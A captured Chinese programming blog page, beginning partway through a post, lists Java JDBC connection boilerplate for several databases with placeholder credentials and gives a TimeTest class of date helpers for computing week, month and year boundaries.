String Password="password";    //密码
Class.forName(Driver).new Instance();    //加载数据可驱动
Connection con=DriverManager.getConnection(URL,UserName,Password);    //
Sysbase:
String Driver="com.sybase.jdbc.SybDriver";    //驱动程序
String URL="jdbc:Sysbase://localhost:5007/db_name";    //db_name为数据可名
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).newInstance();
Connection con=DriverManager.getConnection(URL,Username,Password);
Oracle(用thin模式):
String Driver="oracle.jdbc.driver.OracleDriver";    //连接数据库的方法
String URL="jdbc:oracle:thin:@loaclhost:1521:orcl";    //orcl为数据库的SID
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).newInstance();    //加载数据库驱动
Connection con=DriverManager.getConnection(URL,Username,Password);

PostgreSQL:
String Driver="org.postgresql.Driver";    //连接数据库的方法
String URL="jdbc:postgresql://localhost/db_name";    //db_name为数据可名
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).newInstance();
Connection con=DriverManager.getConnection(URL,Username,Password);
DB2:
String Driver="com.ibm.db2.jdbc.app.DB2.Driver";    //连接具有DB2客户端的Provider实例
//String Driver="com.ibm.db2.jdbc.net.DB2.Driver";    //连接不具有DB2客户端的Provider实例
String URL="jdbc:db2://localhost:5000/db_name";    //db_name为数据可名
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).newInstance();
Connection con=DriverManager.getConnection(URL,Username,Password);
Informix:
String Driver="com.informix.jdbc.IfxDriver";
String URL="jdbc:Informix-sqli://localhost:1533/db_name:INFORMIXSER=myserver";    //db_name为数据可名
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).newInstance();
Connection con=DriverManager.getConnection(URL,Username,Password);
JDBC-ODBC:
String Driver="sun.jdbc.odbc.JdbcOdbcDriver";
String URL="jdbc:odbc:dbsource";    //dbsource为数据源名
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).newInstance();
Connection con=DriverManager.getConnection(URL,Username,Password);

posted @ 2014-04-21 12:55 顺其自然EVO 阅读(172) | 评论 (0)编辑 收藏

Java如何获得系统时间

package com.hefeng.test;
import java.text.DateFormat;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.GregorianCalendar;
public class TimeTest {
//用来全局控制 上一周,本周,下一周的周数变化
private  int weeks = 0;
private int MaxDate;//一月最大天数
private int MaxYear;//一年最大天数
public static void main(String[] args) {
TimeTest tt = new TimeTest();
System.out.println("获取当天日期:"+tt.getNowTime("yyyy-MM-dd"));
System.out.println("获取本周一日期:"+tt.getMondayOFWeek());
System.out.println("获取本周日的日期~:"+tt.getCurrentWeekday());
System.out.println("获取上周一日期:"+tt.getPreviousWeekday());
System.out.println("获取上周日日期:"+tt.getPreviousWeekSunday());
System.out.println("获取下周一日期:"+tt.getNextMonday());
System.out.println("获取下周日日期:"+tt.getNextSunday());
System.out.println("获得相应周的周六的日期:"+tt.getNowTime("yyyy-MM-dd"));
System.out.println("获取本月第一天日期:"+tt.getFirstDayOfMonth());
System.out.println("获取本月最后一天日期:"+tt.getDefaultDay());
System.out.println("获取上月第一天日期:"+tt.getPreviousMonthFirst());
System.out.println("获取上月最后一天的日期:"+tt.getPreviousMonthEnd());
System.out.println("获取下月第一天日期:"+tt.getNextMonthFirst());
System.out.println("获取下月最后一天日期:"+tt.getNextMonthEnd());
System.out.println("获取本年的第一天日期:"+tt.getCurrentYearFirst());
System.out.println("获取本年最后一天日期:"+tt.getCurrentYearEnd());
System.out.println("获取去年的第一天日期:"+tt.getPreviousYearFirst());
System.out.println("获取去年的最后一天日期:"+tt.getPreviousYearEnd());
System.out.println("获取明年第一天日期:"+tt.getNextYearFirst());
System.out.println("获取明年最后一天日期:"+tt.getNextYearEnd());
System.out.println("获取本季度第一天到最后一天:"+tt.getThisSeasonTime(11));
System.out.println("获取两个日期之间间隔天数2008-12-1~2008-9.29:"+TimeTest.getTwoDay("2008-12-1","2008-9-29"));
}
public static String getTwoDay(String sj1, String sj2) {
SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd");
long day = 0;
try {
java.util.Date date = myFormatter.parse(sj1);
java.util.Date mydate = myFormatter.parse(sj2);
day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000);
} catch (Exception e) {
return "";
}
return day + "";
}
public static String getWeek(String sdate) {
// 再转换为时间
Date date = TimeTest.strToDate(sdate);
Calendar c = Calendar.getInstance();
c.setTime(date);
// int hour=c.get(Calendar.DAY_OF_WEEK);
// hour中存的就是星期几了,其范围 1~7
// 1=星期日 7=星期六,其他类推
return new SimpleDateFormat("EEEE").format(c.getTime());
}
public static Date strToDate(String strDate) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
ParsePosition pos = new ParsePosition(0);
Date strtodate = formatter.parse(strDate, pos);
return strtodate;
}
public static long getDays(String date1, String date2) {
if (date1 == null || date1.equals(""))
return 0;
if (date2 == null || date2.equals(""))
return 0;
// 转换为标准时间
SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd");
java.util.Date date = null;
java.util.Date mydate = null;
try {
date = myFormatter.parse(date1);
mydate = myFormatter.parse(date2);
} catch (Exception e) {
}
long day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000);
return day;
}
// 计算当月最后一天,返回字符串
public String getDefaultDay(){
String str = "";
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Calendar lastDate = Calendar.getInstance();
lastDate.set(Calendar.DATE,1);//设为当前月的1号
lastDate.add(Calendar.MONTH,1);//加一个月,变为下月的1号
lastDate.add(Calendar.DATE,-1);//减去一天,变为当月最后一天
str=sdf.format(lastDate.getTime());
return str;
}
// 上月第一天
public String getPreviousMonthFirst(){
String str = "";
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Calendar lastDate = Calendar.getInstance();
lastDate.set(Calendar.DATE,1);//设为当前月的1号
lastDate.add(Calendar.MONTH,-1);//减一个月,变为下月的1号
//lastDate.add(Calendar.DATE,-1);//减去一天,变为当月最后一天
str=sdf.format(lastDate.getTime());
return str;
}
//获取当月第一天
public String getFirstDayOfMonth(){
String str = "";
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
Calendar lastDate = Calendar.getInstance();
lastDate.set(Calendar.DATE,1);//设为当前月的1号
str=sdf.format(lastDate.getTime());
return str;
}
// 获得本周星期日的日期
public String getCurrentWeekday() {
weeks = 0;
int mondayPlus = this.getMondayPlus();
GregorianCalendar currentDate = new GregorianCalendar();
currentDate.add(GregorianCalendar.DATE, mondayPlus+6);
Date monday = currentDate.getTime();
DateFormat df = DateFormat.getDateInstance();
String preMonday = df.format(monday);
return preMonday;
}
//获取当天时间
public String getNowTime(String dateformat){
Date   now   =   new   Date();
SimpleDateFormat   dateFormat   =   new   SimpleDateFormat(dateformat);//可以方便地修改日期格式
String  hehe  = dateFormat.format(now);
return hehe;
}
// 获得当前日期与本周日相差的天数
private int getMondayPlus() {
Calendar cd = Calendar.getInstance();
// 获得今天是一周的第几天,星期日是第一天,星期二是第二天......
int dayOfWeek = cd.get(Calendar.DAY_OF_WEEK)-1;         //因为按中国礼拜一作为第一天所以这里减1
if (dayOfWeek == 1) {
return 0;
} else {
return 1 - dayOfWeek;
}
}
//获得本周一的日期
public String getMondayOFWeek(){
weeks = 0;
int mondayPlus = this.getMondayPlus();
GregorianCalendar currentDate = new GregorianCalendar();
currentDate.add(GregorianCalendar.DATE, mondayPlus);
Date monday = currentDate.getTime();
DateFormat df = DateFormat.getDateInstance();
String preMonday = df.format(monday);
return preMonday;
}
//获得相应周的周六的日期
public String getSaturday() {
int mondayPlus = this.getMondayPlus();
GregorianCalendar currentDate = new GregorianCalendar();
currentDate.add(GregorianCalendar.DATE, mondayPlus + 7 * weeks + 6);
Date monday = currentDate.getTime();
DateFormat df = DateFormat.getDateInstance();
String preMonday = df.format(monday);
return preMonday;
}

posted @ 2014-04-21 12:52 顺其自然EVO 阅读(206) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 122 123 124 125 126 127 128 129 130 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜